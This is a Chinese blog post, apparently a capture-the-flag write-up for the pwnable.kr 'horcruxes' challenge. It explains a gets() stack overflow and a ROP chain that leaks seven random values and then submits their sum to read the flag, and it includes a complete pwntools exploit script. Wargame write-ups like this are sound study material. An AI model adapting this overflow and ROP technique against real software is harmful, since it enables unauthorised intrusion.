pwnable.kr horcruxes

本文详细介绍了一种使用ROP(Return-Oriented Programming)技术破解游戏挑战的实战案例。通过分析目标程序的漏洞,构造特定的payload,成功绕过保护机制获取flag。文章探讨了ROP链的构造、函数调用及计算过程。
摘要由CSDN通过智能技术生成

在这里插入图片描述
看题目,好像是和ROP利用技术有相关的题目,上去看看先
在这里插入图片描述
告诉我们要链接端口9032执行,我们先把文件下下来看看,由于没有提供源码,我们直接用IDA看
函数也不长,直接看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 2147418112, 173, 0);
  seccomp_rule_add(v3, 2147418112, 5, 0);
  seccomp_rule_add(v3, 2147418112, 3, 0);
  seccomp_rule_add(v3, 2147418112, 4, 0);
  seccomp_rule_add(v3, 2147418112, 252, 0);
  seccomp_load(v3);
  return ropme();
}

直接看ropme()

int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

漏洞点也很明显了在gets(s);变量s是一个栈地址,而getflag的条件就是if ( atoi(s) == sum ),这个sum在哪里被赋值了我们可以交叉引用看一下
在这里插入图片描述

unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = 0xDEADBEEF * rand() % 0xCAFEBABE;
  b = 0xDEADBEEF * rand() % 0xCAFEBABE;
  c = 0xDEADBEEF * rand() % 0xCAFEBABE;
  d = 0xDEADBEEF * rand() % 0xCAFEBABE;
  e = 0xDEADBEEF * rand() % 0xCAFEBABE;
  f = 0xDEADBEEF * rand() % 0xCAFEBABE;
  v0 = rand();
  g = 0xDEADBEEF * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}

也就是um = a + b + c + d + e + f + g,而这七个数值是随机生成的。我们回过ropme函数里看看,也有对应的字母的函数

int A()
{
  return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}
...

这里省略去后面的函数,因为都是一样的功能,把对应自身字母的数值给打印出来然后返回。
我们再查看一下程序开启的保护
在这里插入图片描述
发现程序没有开启PIE也就是ASLR随机地址载入的保护机制,
同样没有发现Canary对栈指针进行保护。但是可以明显发现该程序实现了NX栈不可执行的保护。
到这里,利用思路大概就有了
首先在IDA pro反汇编出的伪代码中已经标记出了sbuffer的大小和起始地址:[ebp - 0x74]
在这里插入图片描述
基于此我们可以推断出buffer的起始地址到ropme()反回地址的距离应该为0x74 + 4。
多出的这4个bytes长度是存放原函数ebp地址的数据长度。所以可以初步判断
padding的大小为0x78 = 120个bytes数据。
然后在后面追加每个对应 a + b + c + d + e + f + g地址的rop链,获取数值计算,最后返回到main函数中调用ropme()函数的地方执行ropme()
然后再把计算好的sum输入进去,就可以getflag
在IDA里把对应的函数地址找到

call A() --> 0x809fe4b
call B() --> 0x809fe6a
call C() --> 0x809fe89
call D() --> 0x809fea8
call E() --> 0x809fec7
call F() --> 0x809fee6
call G() --> 0x809ff05
main <call ropme> --> 0x809fffc

所以构造出的payload为:

'A' * 120 + 0x809fe4b + 0x809fe6a + 0x809fe89 + 0x809fea8 + 0x809fec7 + 0x809fee6 + 0x809ff05 + 0x809fffc

用pwntools写是这样的

from ctypes import c_int
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context.arch = 'i386'

context.log_level = 'debug'

#s = ssh("horcruxes", "pwnable.kr", port=2222, password="guest")
#p = s.connect_remote('localhost', 9032)

p = process('./horcruxes',stdin=PTY)
wait_for_debugger(p.pid)
#r = remote('pwnable.kr', 9032) 

padding = 'A' * 0x78
A = 0x0809FE4B
B = 0x0809FE6A
C = 0x0809FE89
D = 0x0809FEA8
E = 0x0809FEC7
F = 0x0809FEE6
G = 0x0809FF05
ropme = 0x0809FFFC
stage1 = flat(padding, A, B, C, D, E, F, G, ropme,endianness='little', word_size=32, sign=False)

p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(stage1)

s = 0 
for i in xrange(7):
    p.recvuntil('EXP +')
    s += int(p.recvline()[:-2])
    #s &= 0xffffffff

s = c_int(s).value
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(s))
print p.recvline()

这是我本地调试时候用的,如果要连上pwnable.kr则要把注释去掉,再注释掉dbg的代码就可以了

这里我用本地调试的代码说明
可以看到执行后堆栈被覆盖
在这里插入图片描述
retn的时候已经进入我们准备的rop链
在这里插入图片描述
等rop链完成后我们再次进入ropme(),输入了正确的sum,然后成功跳转到获取flag的流程中了
在这里插入图片描述
还有网上很多大佬的wp都说不能直接返回ropme()函数里面的任何一个位置,我尝试了一下,产生了如下错误
在这里插入图片描述
查了一下错误提示,大概意思是

当应用程序尝试访问未分配的存储区/无效的存储区/对该应用程序的未对齐访问时,将发生SIGSEGV问题

这里我也没有去深入研究,望知道的大佬教教弟弟

这里再记一个小坑,在我准备调试程序的时候发现
在这里插入图片描述
缺少库文件
然后我使用了如下命令去更新

sudo apt-get update && sudo apt-get install libseccomp2

发现还是没有解决这个错误,然后又找了好久,直到看到了这个帖子

https://askubuntu.com/questions/721357/is-it-safe-to-install-old-libraries-wine-issue

才发现原来是32位程序的问题,需要这样改一下

sudo apt-get update && sudo apt-get install libseccomp2:i386

我哭了:(
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值